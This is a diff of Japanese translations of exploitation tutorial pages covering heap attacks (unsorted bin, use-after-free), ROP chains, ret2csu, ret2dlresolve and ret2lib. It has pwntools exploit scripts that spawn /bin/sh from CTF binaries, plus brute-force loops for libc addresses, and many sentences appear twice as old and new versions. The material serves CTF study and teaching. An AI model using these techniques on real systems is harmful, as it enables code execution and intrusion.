したがって、**未整理ビン内にチャンクを置いてそれを読み取る**use after free)か、**ポインタの少なくとも1つを上書きせずに再度割り当ててから**それを**読み取る**ことができれば、**Glibc情報漏洩**を得ることができます。
この[**書き込みで使用された攻撃**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)は、4つのチャンク構造A、B、C、D - Dはトップチャンクとの統合を防ぐためだけに存在しますを悪用するもので、Bでのヌルバイトオーバーフローを使用してCがBが未使用であることを示すようにしました。また、Bでは`prev_size`データが変更され、サイズがBのサイズではなくA+Bになりました。\
その後、Cが解放され、A+Bと統合されましたただしBはまだ使用中でした。サイズAの新しいチャンクが割り当てられ、その後、libcの漏洩アドレスがBに書き込まれ、そこから漏洩しました。
この書き込みで使用された類似の[**攻撃**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)は、4つのチャンク構造A、B、C、D - Dはトップチャンクとの統合を防ぐためだけに存在しますを悪用するもので、Bでのヌルバイトオーバーフローを使用してCがBを未使用として示すようにしました。また、Bでは `prev_size` データが変更され、サイズがBのサイズではなくA+Bになりました。\
その後、Cが解放され、A+Bと統合されましたただしBはまだ使用中でした。サイズAの新しいチャンクが割り当てられ、その後、libcから漏洩したアドレスがBに書き込まれ、そこから漏洩しました。
## 参考文献と他の例
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- 目標は、4869より大きな値でグローバル変数を上書きすることで、フラグを取得できるようにすることです。PIEは有効になっていません。
- 任意のサイズのチャンクを生成でき、希望のサイズでヒープオーバーフローがあります。
- 任意のサイズのチャンクを生成することができ、希望するサイズのヒープオーバーフローがあります。
- 攻撃は3つのチャンクを作成することから始まりますチャンク0はオーバーフローを悪用し、チャンク1はオーバーフローされ、チャンク2はトップチャンクが前のものと統合しないようにします。
- 次に、チャンク1が解放され、チャンク0がチャンク1の`bk`ポインタを指すようにオーバーフローます:`bk = magic - 0x10`
- 次に、チャンク1が解放され、チャンク0がチャンク1の `bk` ポインタを指すようにオーバーフローされます:`bk = magic - 0x10`
- 次に、チャンク1と同じサイズのチャンク3が割り当てられ、これが未整理ビン攻撃をトリガーし、グローバル変数の値を変更し、フラグを取得できるようにします。
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- マージ関数は脆弱であり、渡された両方のインデックスが同じであれば、それを再割り当てし、その後解放しますが、解放された領域へのポインタを返します。
- したがって、**2つのチャンクが作成されます****チャンク0**は自分自身とマージされ、チャンク1はトップチャンクとの統合を防ぎます。次に、**マージ関数がチャンク0**に対して2回呼び出され、使用後の解放が発生します。
- 次に、**`view`**関数がインデックス2使用後の解放チャンクのインデックスで呼び出され、**libcアドレスが漏洩します**。
- バイナリには**`global_max_fast`**より大きなサイズのみをmallocする保護があるため、ファストビンは使用されず、未整理ビン攻撃が使用されてグローバル変数`global_max_fast`を上書きします。
- 次に、インデックス2使用後の解放ポインタで編集関数を呼び出し、`bk`ポインタを`p64(global_max_fast-0x10)`を指すように上書きします。次に、新しいチャンクを作成すると、以前に妥協された解放アドレス0x20が使用され、**未整理ビン攻撃がトリガーされ**、`global_max_fast`が非常に大きな値で上書きされ、ファストビンでチャンクを作成できるようになります。
- 次に、**`view`** 関数がインデックス2使用後の解放チャンクのインデックスで呼び出され、**libcアドレスが漏洩します**。
- バイナリには**`global_max_fast`** より大きなサイズのみをmallocする保護があるため、ファストビンは使用されず、未整理ビン攻撃が使用されてグローバル変数 `global_max_fast` を上書きします。
- 次に、インデックス2使用後の解放ポインタで編集関数を呼び出し、`bk` ポインタを `p64(global_max_fast-0x10)` を指すように上書きします。次に、新しいチャンクを作成すると、以前に妥協された解放アドレス0x20が使用され、**未整理ビン攻撃**がトリガーされ、非常に大きな値の `global_max_fast` を上書きし、ファストビンでチャンクを作成できるようになります。
- その後、**ファストビン攻撃**が実行されます:
- まず、**`__free_hook`**の場所でサイズ200のファストチャンクを操作できることが発見されます
- まず、**`__free_hook`** の場所でサイズ200のファストチャンクを操作できることが発見されます
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
@ -59,15 +60,15 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- この場所でサイズ0x200のファストチャンクを取得できれば、実行される関数ポインタを上書きすることが可能になります。
- そのために、サイズ`0xfc`の新しいチャンクを作成し、そのポインタでマージ関数を2回呼び出します。これにより、ファストビン内のサイズ`0xfc*2 = 0x1f8`の解放されたチャンクへのポインタを取得します。
- 次に、このチャンクの編集関数が呼び出され、このファストビンの**`fd`**アドレスを前の**`__free_hook`**関数を指すように変更します。
- 次に、サイズ`0x1f8`のチャンクが作成され、ファストビンから以前の無駄なチャンクを取得し、別のサイズ`0x1f8`のチャンクが作成され、**`__free_hook`**内のファストビンチャンクが**`system`**関数のアドレスで上書きされます。
- 最後に、文字列`/bin/sh\x00`を含むチャンクが削除関数を呼び出して解放され、**`__free_hook`**関数がトリガーされ、`system``/bin/sh\x00`をパラメータとして指します。
- そのために、サイズ `0xfc` の新しいチャンクを作成し、そのポインタでマージ関数を2回呼び出すことで、サイズ `0xfc*2 = 0x1f8` の解放されたチャンクへのポインタを取得します。
- 次に、このチャンクの編集関数を呼び出して、このファストビンの**`fd`** アドレスを前の**`__free_hook`** 関数を指すように変更します。
- 次に、サイズ `0x1f8` のチャンクを作成して、ファストビンから以前の無駄なチャンクを取得し、別のサイズ `0x1f8` のチャンクを作成して**`__free_hook`** でファストビンチャンクを取得し、**`system`** 関数のアドレスで上書きします。
- 最後に、文字列 `/bin/sh\x00` を含むチャンクを解放し、削除関数を呼び出して、**`__free_hook`** 関数をトリガーし、`system``/bin/sh\x00` をパラメータとして指すようにします。
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- 1Bオーバーフローを悪用して未整理ビン内のチャンクを統合し、libc情報漏洩を取得し、その後ファストビン攻撃を実行してmallocフックをワンガジェットアドレスで上書きする別の例
- 1Bオーバーフローを悪用して未整理ビン内のチャンクを統合し、libc情報漏洩を取得し、その後ファストビン攻撃を実行してmallocフックをワンガジェットアドレスで上書きする別の例
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- サイズ`0x100`より大きなチャンクのみを割り当てることができます。
- 未整理ビン攻撃を使用して`global_max_fast`を上書きしますASLRのために1/16回機能します。12ビットを変更する必要がありますが、16ビットを変更する必要があります
- グローバルチャンク配列を変更するためのファストビン攻撃。これにより、任意の読み取り/書き込みプリミティブが得られ、GOTを変更していくつかの関数を`system`を指すように設定できます。
- サイズ`0x100` より大きいチャンクのみを割り当てることができます。
- 未整理ビン攻撃を使用して `global_max_fast` を上書きしますASLRのために1/16回機能します。12ビットを変更する必要がありますが、16ビットを変更する必要があります
- グローバルチャンク配列を変更するためのファストビン攻撃。これにより、任意の読み取り/書き込みプリミティブが得られ、GOTを変更し、いくつかの関数を `system` を指すように設定できます。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,13 +4,13 @@
## 基本情報
名前が示すように、この脆弱性はプログラムがオブジェクトのためにヒープに**いくつかのスペースを保存し**、そこに**情報を書き込み**、もう必要ないと思って**解放し**、その後**再度アクセスする**ときに発生します。
名前が示すように、この脆弱性はプログラムがオブジェクトのためにヒープに**いくつかのスペースを保存し**、そこに**情報を書き込み**、**不要になったために解放し**、その後**再度アクセスする**ときに発生します。
ここでの問題は、**解放されたメモリにアクセスしても**違法ではない(**エラーは発生しない**)ことです。したがって、プログラム(または攻撃者)が**解放されたメモリを再割り当てし、任意のデータを保存する**ことができた場合、解放されたメモリが最初のポインタからアクセスされると、その**データが上書きされてしまう**ため、**元のデータの感度に依存する脆弱性が発生します**(もしそれが呼び出される関数のポインタであった場合、攻撃者はそれを制御できる可能性があります)。
ここでの問題は、**解放されたメモリにアクセスしても違法ではない****エラーは発生しない**)ことです。したがって、プログラム(または攻撃者)が**解放されたメモリを再割り当てし、任意のデータを保存することができた場合**、解放されたメモリが初期ポインタからアクセスされると、その**データが上書きされることになり**、元のデータの**感度に依存する脆弱性が生じる**ことになります(もしそれが呼び出される関数のポインタであった場合、攻撃者はそれを制御できる可能性があります)。
### ファーストフィット攻撃
ファーストフィット攻撃は、glibcのような一部のメモリアロケータが解放されたメモリを管理する方法をターゲットにしています。メモリブロックを解放すると、それはリストに追加され、新しいメモリリクエストはそのリストの末尾から取得されます。攻撃者はこの動作を利用して、**どのメモリブロックが再利用されるかを操作し、潜在的にそれらを制御する**ことができます。これにより、「use-after-free」問題が発生し、攻撃者が**再割り当てされたメモリの内容を変更する**ことで、セキュリティリスクが生じる可能性があります。\
ファーストフィット攻撃は、glibcのような一部のメモリアロケータが解放されたメモリを管理する方法をターゲットにしています。メモリブロックを解放すると、それはリストに追加され、新しいメモリリクエストはそのリストの末尾から取得されます。攻撃者はこの動作を利用して、**どのメモリブロックが再利用されるかを操作し、潜在的にそれらを制御することができます**。これにより、攻撃者が**再割り当てされるメモリの内容を変更する**「use-after-free」問題が発生し、セキュリティリスクが生じる可能性があります。\
詳細は以下を確認してください:
{{#ref}}

View File

@ -9,8 +9,8 @@
### ROPの動作
1. **制御フローのハイジャック**: まず、攻撃者はプログラムの制御フローをハイジャックする必要があります。通常はバッファオーバーフローを利用して、スタック上の保存された戻りアドレスを上書きします。
2. **ガジェットの連鎖**: 次に、攻撃者は慎重にガジェットを選択し、目的のアクションを実行するために連鎖させます。これには、関数呼び出しの引数を設定し、関数を呼び出し(例: `system("/bin/sh")`)、必要なクリーンアップや追加の操作を処理することが含まれます。
3. **ペイロードの実行**: 脆弱な関数が戻ると、正当な場所に戻るのではなく、ガジェットの連鎖を実行し始めます。
2. **ガジェットの連鎖**: 次に、攻撃者は目的のアクションを実行するためにガジェットを慎重に選択し、連鎖させます。これには、関数呼び出しの引数を設定し、関数を呼び出し(例: `system("/bin/sh")`)、必要なクリーンアップや追加の操作を処理することが含まれます。
3. **ペイロードの実行**: 脆弱な関数が戻ると、正当な場所に戻るのではなく、ガジェットの連鎖を実行し始めます。
### ツール
@ -21,20 +21,20 @@
### **x86 (32ビット) 呼び出し規約**
- **cdecl**: 呼び出し元がスタックをクリーンアップします。関数引数は逆順(右から左)でスタックにプッシュされます。**引数は右から左にスタックにプッシュされます。**
- **stdcall**: cdeclに似ていますが、呼び出し先がスタックをクリーンアップする責任を負います。
- **stdcall**: cdeclに似ていますが、呼び出し先がスタックのクリーンアップを担当します。
### **ガジェットの発見**
まず、バイナリまたはそのロードされたライブラリ内で必要なガジェットを特定したと仮定します。私たちが興味を持っているガジェットは次のとおりです:
- `pop eax; ret`: このガジェットはスタックのトップの値を `EAX` レジスタにポップし、その後戻ります。これにより `EAX` を制御できます。
- `pop ebx; ret`: 上記と同様ですが、`EBX` レジスタ用で、`EBX` を制御できるようにします。
- `pop ebx; ret`: 上記と似ていますが、`EBX` レジスタ用で、`EBX` を制御できるようにします。
- `mov [ebx], eax; ret`: `EAX` の値を `EBX` が指すメモリ位置に移動し、その後戻ります。これはしばしば **write-what-where gadget** と呼ばれます。
- さらに、`system()` 関数のアドレスも利用可能です。
### **ROPチェーン**
**pwntools** を使用して、次のように ROPチェーンの実行のためにスタックを準備します。`system('/bin/sh')` を実行することを目指し、チェーンが次のように始まることに注意してください
**pwntools** を使用して、次のように `system('/bin/sh')` を実行するためにROPチェーンの実行のためにスタックを準備します。チェーンは次のように始まります
1. アライメント目的のための `ret` 命令(オプション)
2. `system` 関数のアドレスASLRが無効で、libcが既知であると仮定、詳細は [**Ret2lib**](ret2lib/index.html) を参照)
@ -83,16 +83,16 @@ p.interactive()
#### **Finding Gadgets**
私たちの目的のために、**RDI** レジスタを設定することを可能にするガジェットに焦点を当てましょう**"/bin/sh"** 文字列を **system()** に引数として渡すため)そしてその後 **system()** 関数を呼び出します。以下のガジェットを特定したと仮定します:
私たちの目的のために、**RDI** レジスタを設定することを可能にするガジェット(**"/bin/sh"** 文字列を **system()** に引数として渡すため)に焦点を当て、次に **system()** 関数を呼び出します。以下のガジェットを特定したと仮定します:
- **pop rdi; ret**: スタックのトップ値を **RDI** にポップし、その後戻ります。**system()** の引数を設定するために不可欠です。
- **ret**: シンプルなリターンで、いくつかのシナリオでスタックの整列に役立ちます。
- **pop rdi; ret**: スタックのトップ値を **RDI** にポップし、次に戻ります。**system()** の引数を設定するために不可欠です。
- **ret**: 単純なリターンで、いくつかのシナリオでスタックの整列に役立ちます。
そして、**system()** 関数のアドレスを知っています。
### **ROP Chain**
以下は、**pwntools** を使用して **system('/bin/sh')****x64** で実行することを目的とした ROP チェーンを設定し実行する例です:
以下は、**pwntools** を使用して **system('/bin/sh')****x64** で実行することを目的とした ROP チェーンを設定し実行する例です:
```python
from pwn import *
@ -130,17 +130,17 @@ p.interactive()
この例では:
- **`pop rdi; ret`** ガジェットを利用して **`RDI`** を **`"/bin/sh"`** のアドレスに設定します。
- **`RDI`** を設定した後、チェーン内の **system()** のアドレスに直接ジャンプします。
- **`RDI`** を設定した後、チェーン内の **system()** のアドレス**`system()`** に直接ジャンプします。
- ターゲット環境が必要とする場合、**`ret_gadget`** がアライメントのために使用されます。これは、関数を呼び出す前に適切なスタックアライメントを確保するために **x64** でより一般的です。
### スタックアライメント
**x86-64 ABI** は、**call命令** が実行されるときに **スタックが16バイトアライメント** されることを保証します。**LIBC** はパフォーマンスを最適化するために、**SSE命令**(例えば **movaps**)を使用し、これにはこのアライメントが必要です。スタックが正しくアライメントされていない場合(つまり **RSP** が16の倍数でない場合、**ROPチェーン** での **system** への呼び出しは失敗します。これを修正するには、ROPチェーンで **system** を呼び出す前に **ret gadget** を追加するだけです。
**x86-64 ABI** は、**call命令** が実行されるときに **スタックが16バイトアライメント** されることを保証します。**LIBC** はパフォーマンスを最適化するために、**SSE命令**(例えば **movaps**)を使用し、このアライメントを必要とします。スタックが適切にアライメントされていない場合(つまり **RSP** が16の倍数でない場合、**ROPチェーン** での **system** などの関数への呼び出しは失敗します。これを修正するには、ROPチェーンで **system** を呼び出す前に **ret gadget** を追加するだけです。
## x86とx64の主な違い
## x86 x64 の主な違い
> [!TIP]
> **x64は最初のいくつかの引数にレジスタを使用するため、**な関数呼び出しにはx86よりも少ないガジェットを必要とすることが多いですが、レジスタの数が増え、アドレス空間が大きくなるため、適切なガジェットを見つけてチェーンすることはより複雑になる可能性があります。**x64** アーキテクチャのレジスタの数の増加とアドレス空間の拡大は、特にリターン指向プログラミングROPの文脈において、エクスプロイト開発にとって機会と課題の両方を提供します。
> **x64は最初のいくつかの引数にレジスタを使用するため、** 単な関数呼び出しにはx86よりも少ないガジェットを必要とすることが多いですが、レジスタの数が増え、アドレス空間が大きくなるため、適切なガジェットを見つけてチェーンすることはより複雑になる可能性があります。**x64** アーキテクチャのレジスタの数が増え、アドレス空間が大きくなることは、特にリターン指向プログラミングROPの文脈において、エクスプロイト開発にとって機会と課題の両方を提供します。
## ARM64のROPチェーンの例
@ -184,7 +184,7 @@ rop-syscall-execv/
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
- 64ビット、PIEとnxが有効、カナリアなし、`vsyscall` アドレスでRIPを上書きし、スタック内の次のアドレスに戻ることを唯一の目的とする部分的な上書き
- 64ビット、PIEとnxが有効、カナリアなし、`vsyscall` アドレスでRIPを上書きし、スタック内の次のアドレスに戻ることを目的とした部分的な上書き
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64、ASLRなし、スタックを実行可能にし、スタック内のシェルコードにジャンプするためのROPガジェット

View File

@ -8,7 +8,7 @@
**ret2csu** は、プログラムを制御しようとする際に、通常使用する **gadgets** を見つけられない場合に使用されるハッキング技術です。
プログラムが特定のライブラリlibcなどを使用している場合、異なるプログラムの部分が互いに通信する方法を管理するためのいくつかの組み込み関数があります。これらの関数の中には、特に `__libc_csu_init` と呼ばれる、私たちの欠けているgadgetsとして機能する隠れた宝石があります。
プログラムが特定のライブラリlibcなどを使用している場合、プログラムの異なる部分が互いに通信する方法を管理するためのいくつかの組み込み関数があります。これらの関数の中には、特に `__libc_csu_init` と呼ばれる、私たちの欠けているgadgetsとして機能する隠れた宝石があります。
### __libc_csu_init の魔法のガジェット
@ -28,14 +28,14 @@ ret;
2. 2番目のシーケンスは、設定した値を使用していくつかのことを行います
- **特定の値を他のレジスタに移動**し、関数のパラメータとして使用できるようにします。
- **r15とrbxの値を足し合わせ、rbxを8倍することによって決定された場所にコールを実行**します。
- **r15とrbxの値を足し合わせ、rbxを8倍して**決定された場所にコールを実行します。
```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
3. もしかしたら、そこに書き込むアドレスを知らないかもしれませんし、**`ret` 命令が必要です**。2番目のガジェットも**`ret` で終わります**、それに到達するためにはいくつかの**条件を満たす必要があります**
3. もしかしたら、そこに書き込むアドレスを知らないかもしれませんし、**`ret` 命令が必要です**。2番目のガジェットも**`ret` で終わります**、それに到達するためにはいくつかの**条件**を満たす必要があります:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -83,8 +83,8 @@ syscall を行うか、`write()` のような関数を呼び出したいが、`r
ここで **ret2csu** が登場します:
1. **レジスタの設定**: 最初のマジックガジェットを使用して、スタックから値をポップして rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx)、および r15 に入れます。
2. **2 番目のガジェットを使用**: これらのレジスタが設定されたら、2 番目のガジェットを使用します。これにより、選択した値を `rdx``rsi` に移動させ(それぞれ r14 と r13 から)、関数呼び出しのためのパラメータを準備します。さらに、`r15``rbx` を制御することで、計算したアドレスにある関数を呼び出すことができます。そして、そのアドレスを `[r15 + rbx*8]` に配置します。
1. **レジスタの設定**: 最初のマジックガジェットを使用して、スタックから値をポップして rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx)、r15 に入れます。
2. **2 番目のガジェットを使用**: これらのレジスタが設定されたら、2 番目のガジェットを使用します。これにより、選択した値を `rdx``rsi` に移動させ(それぞれ r14 と r13 から)、関数呼び出しのパラメータを準備します。さらに、`r15``rbx` を制御することで、計算したアドレスにある関数を呼び出すことができます。
この技術を使用した[**例とその説明はこちら**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)で、これが使用された最終的なエクスプロイトです:
```python
@ -111,11 +111,11 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
> 注意してください、前のエクスプロイトは**`RCE`**を行うことを目的としていません。これは、単に**`win`**という関数を呼び出すことを目的としていますROPチェーン内でstdinからgetsを呼び出して`win`のアドレスを取得し、それをr15に格納します第三引数として値`0xdeadbeefcafed00d`を持つものです。
> 注意してください、前のエクスプロイトは**`RCE`**を行うことを目的としていません。これは、単に**`win`**という関数を呼び出すことを目的としていますROPチェーン内でstdinからgetsを呼び出して`win`のアドレスを取得し、それをr15に格納します第三引数として値`0xdeadbeefcafed00d`を持つものです。
### コールをバイパスしてretに到達する
以下のエクスプロイトは、**このページ**から抽出されました[**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) ここでは**ret2csu**が使用されていますが、コールを使用する代わりに、**比較をバイパスしてコールの後の`ret`に到達しています**
以下のエクスプロイトは、[**このページ**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html)から抽出されました。ここでは**ret2csu**が使用されていますが、コールを使用する代わりに、**比較をバイパスしてコールの後の`ret`に到達しています**
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -165,7 +165,7 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
### なぜ直接libcを使用しないのか
### なぜlibcを直接使用しないのか?
通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html)にも脆弱ですが、時にはlibc内で直接見つけたガジェットで簡単に制御できる以上のパラメータを制御する必要があります。例えば、`write()`関数は3つのパラメータを必要とし、**これらすべてを直接設定するためのガジェットを見つけることは不可能かもしれません**。

View File

@ -8,12 +8,12 @@
**`_dl_runtime_resolve`** 関数は、指定されたシンボルを解決するために必要な構造体への参照をスタックから取得します。
したがって、要求されたシンボル(例えば **`system`** 関数)を動的にリンクして解決するために、これらの構造体をすべて**偽造する**ことが可能です。そして、構成されたパラメータ(例: **`system('/bin/sh')`**)で呼び出すことができます。
したがって、要求されたシンボル(例えば **`system`** 関数)を動的にリンクして解決するために、これらの構造体をすべて**偽装する**ことが可能であり、設定されたパラメータ(例:**`system('/bin/sh')`**)で呼び出すことができます。
通常、これらの構造体は、書き込み可能なメモリ上で **`read`** を呼び出す**初期ROPチェーン**を作成することで偽造され、その後 **構造体** と文字列 **`'/bin/sh'`** が渡され、既知の場所に読み込まれます。そして、ROPチェーンは **`_dl_runtime_resolve`** を呼び出すことで続き、偽造された構造体内で **`system`** のアドレスを**解決し**、このアドレスを **`'/bin/sh'`** のアドレスで呼び出します。
通常、これらの構造体は、書き込み可能なメモリ上で **`read`** を呼び出す**初期 ROP チェーンを作成することによって偽装され**、その後 **構造体** と文字列 **`'/bin/sh'`** が渡され、既知の場所に保存されます。そして、ROP チェーンは **`_dl_runtime_resolve`** を呼び出すことで続き、偽装された構造体内で **`system`** のアドレスを**解決し**、このアドレスを **`'/bin/sh'`** のアドレスで呼び出します。
> [!TIP]
> この技術は、syscallガジェットがない場合[**ret2syscall**](rop-syscall-execv/index.html) や [SROP](srop-sigreturn-oriented-programming/index.html) などの技術を使用するため)や、libcアドレスを漏洩させる方法がない場合に特に有用です。
> この技術は、特に syscall ガジェットがない場合([**ret2syscall**](rop-syscall-execv/index.html) や [SROP](srop-sigreturn-oriented-programming/index.html) などの技術を使用するため)や libc アドレスを漏洩する方法がない場合に便利です。
この技術についての良い説明がある動画の後半をチェックしてください:
@ -21,20 +21,20 @@
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
また、ステップバイステップの説明があるこれらのページ確認してください:
また、ステップバイステップの説明があるこれらのページ確認してください:
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
## 攻撃の概要
1. どこかに偽の構造体を書き込む
1. いくつかの場所に偽の構造体を書き込む
2. system の最初の引数を設定する(`$rdi = &'/bin/sh'`
3. **`_dl_runtime_resolve`** を呼び出すための構造体へのアドレスをスタックに設定する
4. **呼び出す** `_dl_runtime_resolve`
5. **`system`** が解決され、`'/bin/sh'` を引数として呼び出される
[**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) から、これが **`ret2dlresolve`** 攻撃の様子です:
[**pwntools ドキュメント**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) から、**`ret2dlresolve`** 攻撃の様子は次のようになります:
```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
@ -58,7 +58,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
### 純粋なPwntools
この[**技術の例はこちらにあります**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **最終的なROPチェーンの非常に良い説明が含まれています**が、ここに使用された最終的なエクスプロイトがあります:
この[**技術の例はこちら**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **に非常に良い最終ROPチェーンの説明が含まれていますが、ここに使用された最終的なエクスプロイトがあります**
```python
from pwn import *
@ -188,6 +188,6 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32ビット、relroなし、canaryなし、nx、pieなし、基本的な小さなバッファオーバーフローとリターン。これを悪用するために、bofは再度`read`を呼び出すために使用され、`.bss`セクションとより大きなサイズを指定して、`dlresolve`の偽テーブルをそこに格納し、`system`をロードし、mainに戻り、最初のbofを再利用してdlresolveを呼び出し、その後`system('/bin/sh')`呼び出します。
- 32ビット、relroなし、canaryなし、nx、pieなし、基本的な小さなバッファオーバーフローとリターン。これを悪用するために、bofは再度`read`を呼び出すために使用され、`.bss`セクションとより大きなサイズを指定して、`system`をロードするための`dlresolve`の偽テーブルをそこに格納し、mainに戻り、最初のbofを再利用してdlresolveを呼び出し、その後`system('/bin/sh')`実行します。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -9,7 +9,7 @@
### **例の手順(簡略化)**
- 呼び出す関数のアドレスsystemと呼び出すコマンド/bin/shを取得する
- コマンド文字列を指す最初の引数と関数への実行フローを渡すROPチェーンを生成する
- 最初の引数としてコマンド文字列を指すROPチェーンを生成し、関数への実行フローを渡す
## アドレスの特定
@ -17,11 +17,11 @@
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
ASLRがlibcのアドレスを変更しているかどうかを確認したい場合は、次のようにします:
ASLRがlibcのアドレスを変更しているかどうかを確認するには、次のようにします:
```bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
```
- 使用されているlibcを知っていれば、`system`関数へのオフセットを見つけることも可能です
- 使用されているlibcを知っていれば、次のように`system`関数へのオフセットを見つけることも可能です:
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
@ -69,11 +69,11 @@ rop-leaking-libc-address/rop-leaking-libc-template.md
これらのブルートフォース攻撃は**32ビットシステムにのみ有効**です。
- エクスプロイトがローカル場合、libcのベースアドレスをブルートフォースすることを試みることができます32ビットシステムに有用
- エクスプロイトがローカルである場合、libcのベースアドレスをブルートフォースすることを試みることができます32ビットシステムに有用
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- リモートサーバーを攻撃する場合、**`libc`関数`usleep`のアドレスをブルートフォースする**ことを試みることができます。引数として10を渡します例えば。もしある時点で**サーバーが応答するのに10秒余分にかかる**場合、この関数のアドレスを見つけたことになります。
- リモートサーバーを攻撃する場合、`libc`関数`usleep`のアドレスを**ブルートフォース**してみることができます。引数として10を渡します例えば。もしある時点で**サーバーが応答するのに10秒余分にかかる**場合、この関数のアドレスを見つけたことになります。
## One Gadget
@ -103,7 +103,8 @@ c.interactive()
```
## x64 Ret2lib コード例
次の例を確認してください:
以下の例を確認してください:
{{#ref}}
../
@ -115,7 +116,8 @@ ARM64の場合、ret命令はx30レジスタが指している場所にジャン
また、ARM64では命令はその命令が行うことを行います命令の途中でジャンプして新しい命令に変換することはできません
次の例を確認してください:
以下の例を確認してください:
{{#ref}}
ret2lib-+-printf-leak-arm64.md
@ -123,12 +125,13 @@ ret2lib-+-printf-leak-arm64.md
## Ret-into-printf (または puts)
これは、特定のデータを引数として指定して`printf`/`puts`を呼び出すことで**プロセスから情報を漏洩させる**ことを可能にします。例えば、`puts`のアドレスをGOTに入れ`puts`を実行すると、**メモリ内の`puts`のアドレスが漏洩します**。
これは、特定のデータを引数として指定して`printf`/`puts`を呼び出すことで**プロセスから情報を漏洩させる**ことを可能にします。例えば、`puts`のアドレスをGOTに置い`puts`を実行すると、**メモリ内の`puts`のアドレスが漏洩します**。
## Ret2printf
これは基本的に、**Ret2libを悪用して`printf`フォーマット文字列の脆弱性に変換する**ことを意味します。`ret2lib`を使用してprintfを呼び出し、悪用する値を渡します無駄に聞こえますが可能です:
{{#ref}}
../../format-strings/
{{#endref}}
@ -136,16 +139,16 @@ ret2lib-+-printf-leak-arm64.md
## その他の例と参考文献
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
- Ret2lib、libc内の関数のアドレスへの漏洩を利用し、one gadgetを使用
- Ret2lib、libc内の関数のアドレスへの漏洩を与え、one gadgetを使用
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
